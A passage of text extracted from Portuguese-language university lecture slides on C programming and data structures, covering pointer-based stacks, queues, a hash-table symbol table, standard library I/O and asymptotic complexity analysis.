high = mid - 1;
else if (cond > 0)
low = mid + 1;
else
return mid;
return -1;
AED 2003/2004 – p.247/554
Contador de Palavras Chave
int getword(char *word, int lim) /* get next word from input */
int c;
char *w = word;
while (isspace(c = getc(stdin)))
;
if (c != EOF)
*w++ = c;
if (!isalpha(c))
*w = ’\0’;
return c;
for (; --lim > 0; w++)
if (!isalnum(*w = getc(stdin)))
ungetc(*w, stdin);
break;
*w = ’\0’;
return word[0];
AED 2003/2004 – p.248/554
Apontadores para Estruturas
Escrever um programa em C que conta o número deocorrências de cada palavra-chave da linguagem C,utilizando apontadores para estruturas
#include <stdio.h>
#include <ctype.h>
#include <string.h>
struct key
char *word; /* palavra-chave */
int count; /* # ocorrencias de palavra-chave */
keytab[] =
"auto", 0 ,
"break", 0 ,
...
;
#define NKEYS 24
#define MAXWORD 100
int getword(char *, int);
struct key *binsearch(char *, struct key *, int);AED 2003/2004 – p.249/554
Apontadores para Estruturas
main() /* count "C" keywords */
char word[MAXWORD];
struct key *p;
while (getword(word, MAXWORD) != EOF)
if (isalpha(word[0]))
if((p = binsearch(word, keytab, NKEYS)) != NULL)
p->count++;
for (p=keytab; p < keytab+NKEYS; p++)
if (p->count > 0)
printf("%4d %s\n", p->count, p->word);
AED 2003/2004 – p.250/554
Apontadores para Estruturas
/* find word in tab[0]...tab[n-1] */
struct key *binsearch(char *word, struct key tab[], int n)
int cond;
struct key *low = &tab[0];
struct key *high = &tab[n]; /* valid address */
struct key *mid;
while (low < high)
mid = low + (high-low) / 2; /* cannot add pointers, just subtract */
if((cond = strcmp(word, mid->word)) < 0)
high = mid;
else if (cond > 0)
low = mid + 1;
else
return mid;
return NULL;
AED 2003/2004 – p.251/554
Apontadores para Estruturas
int getword(char *word, int lim) /* get next word from input */
int c;
char *w = word;
while (isspace(c = getc(stdin)))
;
if (c != EOF)
*w++ = c;
if (!isalpha(c))
*w = ’\0’;
return c;
for (; --lim > 0; w++)
if (!isalnum(*w = getc(stdin)))
ungetc(*w, stdin);
break;
*w = ’\0’;
return word[0];
AED 2003/2004 – p.252/554
Operações Válidas com Ponteiros
Recapitular:Atribuições entre ponteiros do mesmo tipoSomar inteiro a ponteiroSubtrair inteiro a ponteiroSubtrair dois ponteiros (num mesmo vector)Comparar dois ponteiros (num mesmo vector)Atribuição e comparação com 0
AED 2003/2004 – p.253/554
Estruturas Auto-Referenciadas
As estruturas auto-referenciadas permitem criarestruturas de dados dinâmicas, utilizando ponteiros:
listas (simplesmente e duplamente ligadas), árvores,tabelas de dispersão, etc.
Um exemplo:Implementar pilha de valores inteiros utilizandoponteiros e estruturas
AED 2003/2004 – p.254/554
istack.h
extern void init();
extern int is_empty();
extern void push(int value);
extern int pop();
AED 2003/2004 – p.255/554
istack.c
#include <stdio.h>
#include <stdlib.h>
struct iitem
int value;
struct iitem *next;
;
static struct iitem *top = NULL;
static struct iitem *alloc_item()
return (struct iitem *) malloc(sizeof(struct iitem));
void init() top = NULL;
int is_empty() return top == NULL;
AED 2003/2004 – p.256/554
istack.c
void push(int value)
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = top;
top = nitem;
int pop()
if (!is_empty())
int rvalue = top->value;
struct iitem *ptmp = top;
top = top->next;
free(ptmp);
return rvalue;
return -1;
AED 2003/2004 – p.257/554
Estruturas Auto-Referenciadas
Um exemplo:Implementar fila de valores inteiros utilizando ponteirose estruturas
AED 2003/2004 – p.258/554
iqueue.h
extern void init();
extern int is_empty();
extern void queue(int value);
extern int dequeue();
AED 2003/2004 – p.259/554
iqueue.c
#include <stdio.h>
#include <stdlib.h>
struct iitem
int value;
struct iitem *next;
;
static struct iitem *putptr = NULL;
static struct iitem *getptr = NULL;
static struct iitem *alloc_item()
return (struct iitem *) malloc(sizeof(struct iitem));
void init() putptr = NULL; getptr = NULL;
int is_empty() return getptr == NULL;
AED 2003/2004 – p.260/554
iqueue.c
void queue(int value)
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = NULL;
if (putptr) putptr->next = nitem;
else getptr = nitem;
putptr = nitem;
int dequeue()
int rvalue;
struct iitem *ptmp;
if (is_empty()) return -1;
rvalue = getptr->value;
ptmp = getptr;
getptr = getptr->next;
if (!getptr) putptr = NULL;
free(ptmp);
return rvalue;
AED 2003/2004 – p.261/554
Estruturas Auto-Referenciadas
Um exemplo:Implementar fila generalizada de valores inteirosutilizando ponteiros e estruturas
Operações: push(int), pop(),unshift(int), shift()
AED 2003/2004 – p.262/554
iqueue2.h
extern int init();
extern int is_empty();
extern void push(int value);
extern int pop();
extern void unshift(int value);
extern int shift();
AED 2003/2004 – p.263/554
iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem
int value;
struct iitem *prev;
struct iitem *next;
;
static struct iitem *topptr = NULL;
static struct iitem *botptr = NULL;
static struct iitem *alloc_item()
return (struct iitem *) malloc(sizeof(struct iitem));
void init() topptr = NULL; botptr = NULL;
int is_empty() return topptr == NULL;
AED 2003/2004 – p.264/554
iqueue2.c
void push(int value)
struct iitem *nitem = alloc_item();
nitem->value = value;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
nitem->prev = topptr;
nitem->next = NULL;
topptr = nitem;
AED 2003/2004 – p.265/554
iqueue2.c
int pop()
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
AED 2003/2004 – p.266/554
iqueue2.c
void unshift(int value)
struct iitem *nitem = alloc_item();
nitem->value = value;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
nitem->next = botptr;
nitem->prev = NULL;
botptr = nitem;
AED 2003/2004 – p.267/554
iqueue2.c
int shift()
int rvalue;
struct iitem *ptmp;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
AED 2003/2004 – p.268/554
Tabelas Dinâmicas II
Um exemplo:Implementar fila generalizada de valores inteirosutilizando uma tabela dinâmica
Operações: push(int), pop(),unshift(int), shift()
AED 2003/2004 – p.269/554
iqueue.c
#include <stdio.h>
#include <stdlib.h>
#define INITQUEUESIZE 5
static int *iqueue;
static int *queue_top;
static int queue_dim;
static int *topptr = NULL;
static int *botptr = NULL;
AED 2003/2004 – p.270/554
iqueue.c
static int is_full()
return
topptr == botptr-1 ||
(botptr == iqueue && topptr == queue_top-1);
void init()
iqueue = (int*) malloc(INITQUEUESIZE * sizeof(int));
topptr = iqueue;
botptr = iqueue;
queue_dim = INITQUEUESIZE;
queue_top = iqueue+queue_dim;
int is_empty() return topptr == botptr;
AED 2003/2004 – p.271/554
iqueue.c
static void increase_queue_size()
int *pa, *pb;
int *ptmp = iqueue, *ptmptop = queue_top;
int prev_dim = queue_dim;
queue_dim = 2 * queue_dim;
iqueue = (int*) malloc(queue_dim * sizeof(int));
queue_top = iqueue + queue_dim;
for (pa=botptr, pb=iqueue; pa != topptr; )
*(pb++) = *(pa++);
if (pa == ptmptop) pa = ptmp;
botptr = iqueue;
topptr = iqueue + prev_dim - 1;
free(ptmp);
AED 2003/2004 – p.272/554
iqueue.c
void push(int value)
if (is_full())
increase_queue_size();
*(topptr++) = value;
if (topptr == queue_top)
topptr = iqueue;
int pop()
int rvalue;
if (is_empty())
return -1;
if (topptr == iqueue)
topptr = queue_top;
rvalue = *(--topptr);
return rvalue;
AED 2003/2004 – p.273/554
iqueue.c
void unshift(int value)
if (is_full())
increase_queue_size();
if (botptr == iqueue)
botptr = queue_top;
*(--botptr) = value;
int shift()
int rvalue;
if (is_empty())
return -1;
rvalue = *(botptr++);
if (botptr == queue_top)
botptr = iqueue;
return rvalue;
AED 2003/2004 – p.274/554
Typedef
O typedef permite associar um nome com um tipo dedados já existentetypedef Inteiro int;
main()
Inteiro myint;
...
É usual utilizar typedef na manipulação de estruturasauto-referenciadasstruct iitem
int value;
struct iitem *prev;
struct iitem *next;
;
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
AED 2003/2004 – p.275/554
iqueue2.c
#include <stdio.h>
#include <stdlib.h>
struct iitem
int value;
struct iitem *prev;
struct iitem *next;
;
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr topptr = NULL;
static IntItemPtr botptr = NULL;
static IntItemPtr alloc_item()
return (struct iitem *) malloc(sizeof(struct iitem));
void init() topptr = NULL; botptr = NULL;
int is_empty() return topptr == NULL;
AED 2003/2004 – p.276/554
iqueue2.c
void push(int value)
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->prev = topptr;
nitem->next = NULL;
if (topptr)
topptr->next = nitem;
else
botptr = nitem;
topptr = nitem;
AED 2003/2004 – p.277/554
iqueue2.c
int pop()
int rvalue;
IntItemPtr ptmp;
if (is_empty())
return -1;
rvalue = topptr->value;
ptmp = topptr;
topptr = topptr->prev;
if (topptr)
topptr->next = NULL;
else
botptr = NULL;
free(ptmp);
return rvalue;
AED 2003/2004 – p.278/554
iqueue2.c
void unshift(int value)
IntItemPtr nitem = alloc_item();
nitem->value = value;
nitem->next = botptr;
nitem->prev = NULL;
if (botptr)
botptr->prev = nitem;
else
topptr = nitem;
botptr = nitem;
AED 2003/2004 – p.279/554
iqueue2.c
int shift()
int rvalue = botptr->value;
IntItemPtr ptmp = botptr;
if (is_empty())
return -1;
rvalue = botptr->value;
ptmp = botptr;
botptr = botptr->next;
if (botptr)
botptr->prev = NULL;
else
topptr = NULL;
free(ptmp);
return rvalue;
AED 2003/2004 – p.280/554
Tabelas de Dispersão I
Permitem manter conjuntos de palavrasOperações:lookup(char*)insert(char*)delete(char*)
Exemplo simples, para ilustrar utilizações de listas comtabelas
AED 2003/2004 – p.281/554
symtab.h
extern void init();
extern char *lookup(char *word);
extern char *insert(char *word);
extern char *delete(char *word);
AED 2003/2004 – p.282/554
symtab.c – Tabela de Símbolos
#include <string.h>
#include <stdlib.h>
#define TABDIM 101
struct witem
char *word;
struct witem *next;
;
typedef struct witem WORDITEM;
typedef WORDITEM* WORDITEMPTR;
static WORDITEMPTR *symtab = NULL;
AED 2003/2004 – p.283/554
symtab.c
#define HBASE 31
static unsigned hashvalue(char *word)
unsigned hval = 0;
for(hval=0; *word;)
hval = *(word++) + HBASE * hval;
return hval % TABDIM;
void init()
WORDITEMPTR *px;
symtab = (WORDITEMPTR*) malloc(TABDIM*sizeof(WORDITEMPTR));
for(px=symtab; px<symtab+TABDIM; px++)
*px = NULL;
AED 2003/2004 – p.284/554
symtab.c
char *lookup(char *word)
int whval = hashvalue(word), comp;
WORDITEMPTR px = symtab[whval];
for (; px && (comp = strcmp(px->word, word)) < 0; px = px->next)
;
if (px && !comp)
return px->word;
return NULL;
AED 2003/2004 – p.285/554
symtab.c
char *insert(char *word)
int whval = hashvalue(word), comp;
char *nword = NULL;
WORDITEMPTR px = symtab[whval], py = px, pw;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (!px || comp)
nword = (char*) malloc(strlen(word)+1);
strcpy(nword, word);
pw = (WORDITEMPTR) malloc(sizeof(WORDITEM));
pw->word = nword;
pw->next = px;
if (px == py) symtab[whval] = pw;
else py->next = pw;
return nword;
AED 2003/2004 – p.286/554
symtab.c
char *delete(char *word)
int whval = hashvalue(word), comp;
char *rword = NULL;
WORDITEMPTR px = symtab[whval], py = px;
for (; px && (comp = strcmp(px->word, word)) < 0;
py = px, px = px->next)
;
if (px && !comp)
rword = px->word;
if (px == py)
symtab[whval] = px->next;
else
py->next = px->next;
free(px);
return rword;
AED 2003/2004 – p.287/554
Exemplos Adicionais
Lista de inteiros simplesmente ligada:Inserção (ordenada) de elementoRemoção de elemento
#include <stdlib.h>
struct iitem
int value;
struct iitem *next;
;
typedef struct iitem IntItem;
typedef IntItem* IntItemPtr;
static IntItemPtr first = NULL;
static IntItemPtr alloc_item()
return (IntItemPtr) malloc(sizeof(IntItem));
void init() first = NULL;
AED 2003/2004 – p.288/554
Inserção Ordenada de Elemento
int insert(int value)
IntItemPtr px, py, nitem;
for (px = first, py = px; px;
py = px, px = px->next)
if (px->value > value)
break;
else if (px->value == value)
return 0; /* no duplicates */
nitem = alloc_item();
nitem->value = value;
nitem->next = px;
if (px == first)
first = nitem;
else
py->next = nitem;
return 1;
AED 2003/2004 – p.289/554
Remoção de Elemento
int delete(int value)
IntItemPtr px, py;
for (px = first, py = px; px;
py = px, px = px->next)
if (px->value == value)
if (px == first)
first = first->next;
else
py->next = px->next;
free(px);
return 1;
return 0;
AED 2003/2004 – p.290/554
Escrever Lista de Inteiros
void print_list()
IntItemPtr px;
printf("[ ");
for (px = first; px; px = px->next)
printf("%d ", px->value);
printf("]\n");
AED 2003/2004 – p.291/554
AED 2003/2004 – p.292/554
AED 2003/2004 – p.293/554
AED 2003/2004 – p.294/554
Parte VII
K&R Cap. 7
AED 2003/2004 – p.295/554
Bibliotecas do C
Funções para input/outputInput/Ouput standardOutput formatadoListas de argumentos variáveisInput formatadoAcesso a ficheirosInput/Output de linhas
Funções para strings
Funções para teste e conversão de caracteres
Funções para reserva de memória
Funções matemáticas
AED 2003/2004 – p.296/554
Input/Output Standard
int getchar(void)Retorna o próximo caracter do input de defeito (inputstandard), ou EOF caso o fim do ficheiro tenha sidodetectado.
int putchar(int c)Coloca o caracter c no output de defeito (outputstandard). A função retorna o caracter escrito, ou EOFcaso um erro tenha sido detectado.
#include <stdio.h>Declara a utilização de funções da biblioteca deinput/output.
AED 2003/2004 – p.297/554
Output Formatado
int printf(char *format, arg1, ..., argN)
Escreve arg1, ..., argN, de acordo com formatoformatCada argumento é escrito de acordo com umaespecificação de conversão, iniciada pelo caracter% e terminada por um caracter:
Caracteres válidos:d, i, o, x, X, u, c, s, f, e, E, g, G, p, %
’-’: ajustamento à esquerda; ’h’/’l’: short/longW: largura mínima do argumento a escrever’.’: separação entre a largura mínima e a precisãoP: Precisão a utilizar:caracteres para strings, casas decimais parareais, número mínimo de dígitos em inteiros’*’: utilizar argumento como largura ou precisão
AED 2003/2004 – p.298/554
Exemplo
:%s: :hello, world::%10s: :hello, world::%.10s: :hello, wor::%-10s: :hello, world::%.15s: :hello, world::%-15s: :hello, world ::%15.10s: : hello, wor::%-15.10s: :hello, wor :
AED 2003/2004 – p.299/554
Listas de Argumentos Variáveis
#include <stdarg.h>
void minprintf(char *fmt, ...) /* minimal printf with var arg list */
va_list ap; /* points to each unnamed arg in turn */
char *p; int ival; double dval;
va_start(ap, fmt); /* make ap point to 1st unnamed arg */
for (p=fmt; *p; p++)
if (*p != ’%’) /* print all other characters */
putchar(*p); continue;
switch (*++p)
case ’d’: /* get type int argument */
ival = va_arg(ap, int); printf("%d", ival); break;
case ’f’: /* get type double argument */
dval = va_arg(ap, double); printf("%g", dval); break;
default:
exit(1); break;
va_end(ap); /* clean up when done */
AED 2003/2004 – p.300/554
Input Formatado
int scanf(char *format, arg1, ..., argN)
Lê caracteres do input, interpreta os caracteres deacordo com a especificação format, e coloca osresultados em arg1, ..., argN
arg1, ..., argN sao obrigatoriamente ponteiros
Cada argumento é interpretado de acordo com umaespecificação de conversão, iniciada pelo caracter% e terminada por um caracter:
Caracteres válidos:d, i, o, x, u, c, s, e, f, g, %d, i, o, x, u: podem ser precedidos por hpara indicar um shortd, i, o, x, u, e, f, g: podem serprecedidos por l, para indicar um long (d, i, o, x,u) ou double (e, f, g)
AED 2003/2004 – p.301/554
Input/Output Formatado
Exemplo:Data 2003/04/01 lida através de:scanf("%d/%d/%d", &y,&m, &d);
int sscanf(char *str, char *format, arg1,..., argN)
Equivale a scanf, mas lê argumentos de uma stringstr
arg1, ..., argN sao obrigatoriamente ponteiros
int sprintf(char *str, char *format,arg1, ..., argN)
AED 2003/2004 – p.302/554
Acesso a Ficheiros
#include <stdio.h>
FILE *fopen(char *name, char *mode)
Abre ficheiro, de acordo com modo mode e retornaponteiro para acesso a ficheiro
Leitura/Escrita de caracteres:int fgetc(FILE *fp)
int fputc(int c, FILE *fp)
Leitura/Escrita formatada:int fscanf(FILE *fp, char *fmt, ...)
int fprintf(FILE *fp, char *fmt, ...)
Fecho de ficheiro:int fclose(FILE *fp)
AED 2003/2004 – p.303/554
Acesso a Ficheiros
Ponteiros para acesso a ficheiros de defeito:stdin – Input de defeitostdout – Output de defeitostderrEscrita de mensagens de erro de defeitoUtilizado com exit(int) para tratamento de erros
Macros comuns:#define getchar() getc(stdin)
#define putchar(c) putc((c),stdout)
int ungetc(int c, FILE *fp)Devolve caracter a ficheiro. Retorna EOF em caso deerro, ou então c. Apenas um caracter pode serdevolvido, entre leituras de outros caracteres.
int ferror(FILE *fp); int feof(FILE *fp)AED 2003/2004 – p.304/554
Imprimir Conteúdo de Ficheiros
#include <stdio.h>
/* fcat: concatenate files */
main(int argc, char *argv[])
void filecopy(FILE *, FILE *);
FILE *fp;
if (argc == 1) /* no args; copy standard input */
filecopy(stdin, stdout);
else
while(--argc > 0)
if ((fp = fopen(*++argv, "r")) == NULL)
printf("cat: can’t open %s\n", *argv);
return 1;
else
filecopy(fp, stdout);
fclose(fp);
return 0;
AED 2003/2004 – p.305/554
Imprimir Conteúdo de Ficheiros
/* filecopy: copy file ifp to file ofp */
void filecopy(FILE *ifp, FILE *ofp)
int c;
while ((c = getc(ifp)) != EOF)
putc(c, ofp);
AED 2003/2004 – p.306/554
Input/Output de Linhas
#include <stdio.h>
char *fgets(char *line, int maxline, FILE*fp)
Lê linha (incluindo ’\n’) do ficheiro fp. Em caso deEOF ou erro retorna NULL; caso contrário retornalinha
int fputs(char *line, FILE *fp)
Escreve linha para o ficheiro fp. Linha nãonecessita ser terminada por ’\n’. Retorna 0, ou EOFem caso de erro
gets(), para stdin, e puts(), para stdout
AED 2003/2004 – p.307/554
Funções para Strings
#include <string.h>
strcat(s, t)
strncat(s, t, b)
strcmp(s, t)
strncmp(s, t, n)
strcpy(s, t)
strncpy(s, t, n)
strlen(s)
strchr(s, c)
strrchr(s, c)
AED 2003/2004 – p.308/554
Teste e Conversão de Caracteres
#include <ctype.h>
isalpha(c)
isupper(c)
islower(c)
isdigit(c)
isalnum(c)
isspace(c)
toupper(c)
tolower(c)
AED 2003/2004 – p.309/554
Reserva de memória
#include <stdlib.h>
void *malloc(size_t n)
Retorna ponteiro para n bytes não inicializados, ouNULL se pedido falha
void *calloc(size_t n, size_t size)
Retorna ponteiro para array com n objectos detamanho size, inicializados a 0, ou NULL se pedidofalha
AED 2003/2004 – p.310/554
Funções Matemáticas
#include <math.h>
É necessário ligar com a biblioteca matemática, ’-lm’
sin(x)
cos(x)
atan2(y,x)
exp(x)
log(x)
log10(x)
pow(x,y)
sqrt(x)
fabs(x)AED 2003/2004 – p.311/554
Notas sobre Desempenho – I
Exemplo: conversão para minúsculas#define ITERSIZE 1000
#define BUFFERDIM 1000
extern void lower(char *s);
extern void mk_buffer(char *buffer, int size)
int main(int argc, char **argv)
int i, j;
for (i=0; i<ITERSIZE; i++)
int k = BUFFERDIM-i;
for (j=0; j<i; j++)
mk_buffer(str_buffer, k+j);
lower(str_buffer);
AED 2003/2004 – p.312/554
Notas sobre Desempenho – I
void mk_buffer(char *buffer, int size)
int i, tog = 0;
for (i=0; i<size; i++)
if (tog) buffer[i] = ’a’;
else buffer[i] = ’A’;
tog = 1-tog;
AED 2003/2004 – p.313/554
Notas sobre Desempenho – I
void lower(char *s) /* Versao 1: 1224.46s */
int i;
for (i=0; i<strlen(s); i++)
if (s[i] >= ’A’ && s[i] <= ’Z’)
s[i] -= (’A’ -’a’);
void lower(char *s) /* Versao 2: 3.93s */
int i, len = strlen(s);
for (i=0; i<len; i++)
if (s[i] >= ’A’ && s[i] <= ’Z’)
s[i] -= (’A’ -’a’);
AED 2003/2004 – p.314/554
Notas sobre Desempenho – I
void lower(char *s) /* Versao 3: 3.87s */
int i, len = strlen(s), diff = (’A’ -’a’);
for (i=0; i<len; i++)
int l = *s;
if (l >= ’A’ && l <= ’Z’)
l -= diff;
*(s++) = l;
void lower(char *s) /* Versao 4: 4.07s */
char *e = s + strlen(s);
int diff = (’A’ -’a’);
for (; s<e;)
int l = *s;
if (l >= ’A’ && l <= ’Z’)
*s -= diff;
s++;
AED 2003/2004 – p.315/554
AED 2003/2004 – p.316/554
AED 2003/2004 – p.317/554
AED 2003/2004 – p.318/554
Parte VIII
Sedgewick, Cap. 2
AED 2003/2004 – p.319/554
Introdução à Análise de Algoritmos
Análise de Algoritmos
Crescimento de Funções
Notação Assimptótica
Exemplos
AED 2003/2004 – p.320/554
Crescimento de Funções
Parâmetro primário: N
grau de polinómio, tamanho de ficheiro, número decaracteres em string, etc.
É usual analisar o tempo de execução de algoritmoscomo função de um único parâmetro
AED 2003/2004 – p.321/554
Crescimento de Funções
Tempos de execução típicos:
1 Se o número de instruções de um programafor executado um número limitado/constantede vezes.
log N Tempo de execução de um programa é log-arítmico. Quando um problema é resolvidoatravés da resolução de um conjunto de sub-problemas.
N Tempo de execução de um programa é lin-ear. Quando existe algum processamento paracada elemento de entrada.
N log N Quando um problema é resolvido através daresolução de um conjunto de sub-problemas, ecombinando posteriormente as suas soluções.
AED 2003/2004 – p.322/554
Crescimento de Funções
Tempos de execução típicos (cont.):
N2 Tempo de execução de um programa équadrático. Quando entrada duplica, tempoaumenta 4x’s.
N3 Tempo de execução de um programa é cúbico.Quando entrada duplica, tempo aumenta 8x’s.
2N Tempo de execução de um programa é expo-nencial. Quando entrada duplica, tempo au-menta para o quadrado!
AED 2003/2004 – p.323/554
Crescimento de Funções
segundos102 1.7 minutos104 2.8 horas105 1.1 dias106 1.6 semanas107 3.8 meses108 3.1 anos109 3.1 décadas1010 3.1 séculos1011 nunca
AED 2003/2004 – p.324/554
Crescimento de Funções
Operações/ segundo
N = 106
N N log N N2
106 segundos segundos semanas109 imediato imediato horas1012 imediato imediato segundos
AED 2003/2004 – p.325/554
Crescimento de Funções
Operações/ segundo
N = 1012
N N log N N2
106 horas horas nunca109 segundos segundos décadas1012 imediato imediato semanas
AED 2003/2004 – p.326/554
Crescimento de Funções
log N√
N N N log N N2
3 3 10 33 1007 10 100 664 10000
10 32 1000 9966 100000013 100 10000 132877 10000000020 1000 1000000 19931569 1000000000000
AED 2003/2004 – p.327/554
Notação Assimptótica
Limite Assimptótico Superior:Uma função g(N) diz-se O(f(N)) se existirem c0 eN0 tal que g(N) < c0 f(N) para N > N0.
N0 N
g(N)
c0 f(N)
AED 2003/2004 – p.328/554
Notação Assimptótica
Permite:Limitar erro de ignorar termos menores emexpressões matemáticasLimitar erro de ignorar partes de um programa, asquais têm contribuição pequena para tempo deexecuçãoClassificar algoritmos em termos dos seus limitesassimptóticos superiores dos tempos de execução
AED 2003/2004 – p.329/554
Exemplos – Notação O
g(n) = 0.1n3 + 1000n2 + 25 × 109
É O(nα) para α ≥ 3.
É O(γn) para γ > 1...Não é O(nα) para α < 3.
g(n) = n2 log n35 + 106 n2 + 25 × 109
É O(nα) para α ≥ 3.
É O(nα) para α > 2.
É O(n2 log n).
É O(γn) para γ > 1...
Não é O(n2).
AED 2003/2004 – p.330/554
Exemplos – Procura Sequencial
int search(int a[], int v, int l, int r)
int i;
for (i = l; i <= r; i++)
if (v == a[i]) return i;
return -1;
No pior caso, são analisados N númerosTempo de execução, para N elementos, é O(N) nopior caso
No melhor caso, é analisado 1 númeroTempo de execução, para N elementos, é O(1) nomelhor caso
AED 2003/2004 – p.331/554
Exemplos – Procura Binária I
int search(int a[], int v, int l, int r)
while (r >= l)
int m = (l+r)/2;
if (v == a[m]) return m;
if (v < a[m]) r = m-1; else l = m+1;
return -1;
No pior caso, são analisados blog Nc + 1 números (Vera seguir)
Tempo de execução, para N elementos, é O(log N)no pior caso
AED 2003/2004 – p.332/554
Exemplos – Preenchimento de Matriz
int read_mat(int mat[N][N])
int i, j;
for (i = 0; i < N; i++)
for (j = 0; j < N; j++)
scanf("%d", &mat[i][j]);
return -1;
São preenchidas N2 entradas da matrizComplexidade do tempo de execução, para matrizN × N , é O(N2) (no pior caso)
AED 2003/2004 – p.333/554
Exemplos – Multiplicação de Matrizes
int mult_mat(int matA[N][N], int matB[N][N], int matC[N][N])
int i, j, k;
for (i=0; i<N; i++)
for (j=0; j<N; j++)
matC[i][j] = 0;
for (k=0; k<N; k++)
matC[i][j] += matA[i][k] * matB[k][j];
São executados 3 ciclos for encadeados, e cada ciclo éexecutado N vezes
Complexidade do tempo de execução, para oproduto de duas matrizes N × N , é O(N3) (no piorcaso)
AED 2003/2004 – p.334/554
Exemplos – Procura em Vector I
static int vect[] = -1, 1, 2, 4, 6, 8, 10, 15, 20, 25 ;
static int size = 10;
int main(int argc, char **argv)
int p1, p2, y = lookup(vect, size, atoi(argv[1]), &p1, &p2);
if (y > 0) printf("%d %d\n", p1, p2);
AED 2003/2004 – p.335/554
Exemplos – Procura em Vector II
int lookup(int v[], int sz, int x, int *p1, int *p2)
int i;
for (i=0; i<sz; i++)
int d = x - v[i], y;
y = search(v, d, 0, sz-1); /* procura binaria */
if (y > 0) *p1 = i; *p2 = y; return 1;
return -1;
Tempo de execução: T (N) = O(N log N)
AED 2003/2004 – p.336/554
Exemplos – Procura em Vector III
int lookup(int v[], int sz, int x, int *p1, int *p2) /* sem repetir... */
int i = 0, j = sz-1;
while (i < j)
int sum = v[i] + v[j];
if (sum > x) j--;
else if (sum < x) i++;
else *p1 = i; *p2 = j; return 1;
return -1;
Tempo de execução: T (N) = O(N)
AED 2003/2004 – p.337/554
Recorrências
Permitem modelar tempo de execução de funçõesbaseadas na decomposição de um problema numconjunto de outros problemas
Exemplo 1: Analisar input para eliminar um elemento
CN = CN−1 + N , para N ≥ 2, C1 = 1
CN = CN−2 + (N − 1) + N
= CN−3 + (N − 2) + (N − 1) + N
...= 1 + 2 + . . . + (N − 1) + N
=N (N + 1)
2
= O(N2)AED 2003/2004 – p.338/554
Recorrências – Exemplo 2
Função recursiva que a cada passo divide o input ametade
CN = CN/2 + 1 para N ≥ 2, C1 = 1.
Considerar N = 2n.
C2n = C2n−1 + 1
= C2n−2 + 1 + 1
= C2n−3 + 3
...= C20 + n = n + 1
CN = log N + 1 para N = 2n.
Se N/2 ≡ bN/2c, CN = blog Nc + 1 AED 2003/2004 – p.339/554
Recorrências – Exemplo 3
Função recursiva que a cada passo divide o input emduas metades, mas que analisa todo o input
CN = 2CN/2 + N para N ≥ 2, C1 = 0.
Considerar N = 2n.
C2n/2n = C2n−1/2n−1 + 1
= C2n−2/2n−2 + 1 + 1
= C2n−3/2n−3 + 3
...= n
CN = N log N para N = 2n.AED 2003/2004 – p.340/554
Exemplos – Procura Binária II
int search(int a[], int v, int l, int r)
while (r >= l)
int m = (l+r)/2;
if (v == a[m]) return m;
if (v < a[m]) r = m-1; else l = m+1;
return -1;
O total de números analisados não excedeblog Nc + 1 = O(log N).
TN ≤ TbN/2c + 1, com N ≥ 2, T1 = 1.
AED 2003/2004 – p.341/554
Exemplos – Factorial
long fact(int n)
return (n > 1) ? n*fact(n-1) : 1;
Tempo de execução (desprezando constantes):Tn = Tn−1 + 1, T (0) = 1
Tn = n + 1 = O(n)
AED 2003/2004 – p.342/554
Outra Notação Assimptótica
Limite Assimptótico Inferior:Uma função g(N) diz-se Ω(f(N)) se existirem c0 eN0 tal que c0 f(N) < g(N) para N > N0.
N0 N
g(N)
c0 f(N)
AED 2003/2004 – p.343/554
Outra Notação Assimptótica
Limite Assimptótico Apertado:Uma função g(N) diz-se Θ(f(N)) se existirem c1, c2
e N0 tal que c2 f(N) < g(N) < c1 f(N) para N > N0.
N0 N
g(N)
c1 f(N)
c2 f(N)
AED 2003/2004 – p.344/554
Exemplos – Notação Assimptótica
Uma função g(N) diz-se Θ(f(N)) se e só se g(N) forO(f(N)) e Ω(f(N)).
g(n) = 0.1n3 + 1000n2 + 25 × 109
É Θ(n3).
É Ω(n3).Não é Θ(nα) para α 6= 3.Não é Ω(nα) para α > 3.
g(n) = n2 log n35 + 106 n2 + 25 × 109
É Θ(n2 log n).
É Ω(n2 log n).
É Ω(n2), Ω(n), Ω(1)...
AED 2003/2004 – p.345/554
AED 2003/2004 – p.346/554
Parte IX
Sedgewick, Cap. 3
AED 2003/2004 – p.347/554
Estruturas de dados elementares
Tipos básicos
Estruturas
Tabelas
Listas
Amontoados
AED 2003/2004 – p.348/554
Estruturas de dados elementares
Tipos básicos
Estruturas
Tabelas
Listas
Amontoados
AED 2003/2004 – p.348/554
Estruturas de dados elementares
Tipos básicos
Estruturas
Tabelas
Listas
Amontoados
AED 2003/2004 – p.348/554
Estruturas de dados elementares
Tipos básicos
Estruturas
Tabelas
Listas
Amontoados
AED 2003/2004 – p.348/554
Estruturas de dados elementares
Tipos básicos
Estruturas
Tabelas
Listas
Amontoados
AED 2003/2004 – p.348/554
Tipos básicos
Inteiros
Reais
Caracteres
Ponteiros
short a1;
int a2;
long a3;
float x1;
double x2;
char c1;
int *p1;
AED 2003/2004 – p.349/554
Tipos compostos
Estruturasstruct point
float x;
float y;
;
Uniõesstruct line_point
int type;
union
struct point
float x,y;
struct line
float x1,y1;
float x2,y2;
; AED 2003/2004 – p.350/554
Tabelas
Colecção de itemsInteiros, reais, caracteresEstruturas ou uniõesTabelas, Ponteiros
Guardados em posições consecutivas de memória
int tab[n];
0 1 2 3 n−1
Programador é responsável por respeitar limites
AED 2003/2004 – p.351/554
Tabelas
Em C, tabelas podem ser:De dimensão fixaAlocadas dinamicamente
#define N 100
int tab1[N];
int *tab2 = malloc(n*sizeof(int));
Acesso a tabelas alternativo
Com ponteiros
Usando aritmética de ponteiros
x = tab2[i];
y = *(tab2+i);
AED 2003/2004 – p.352/554
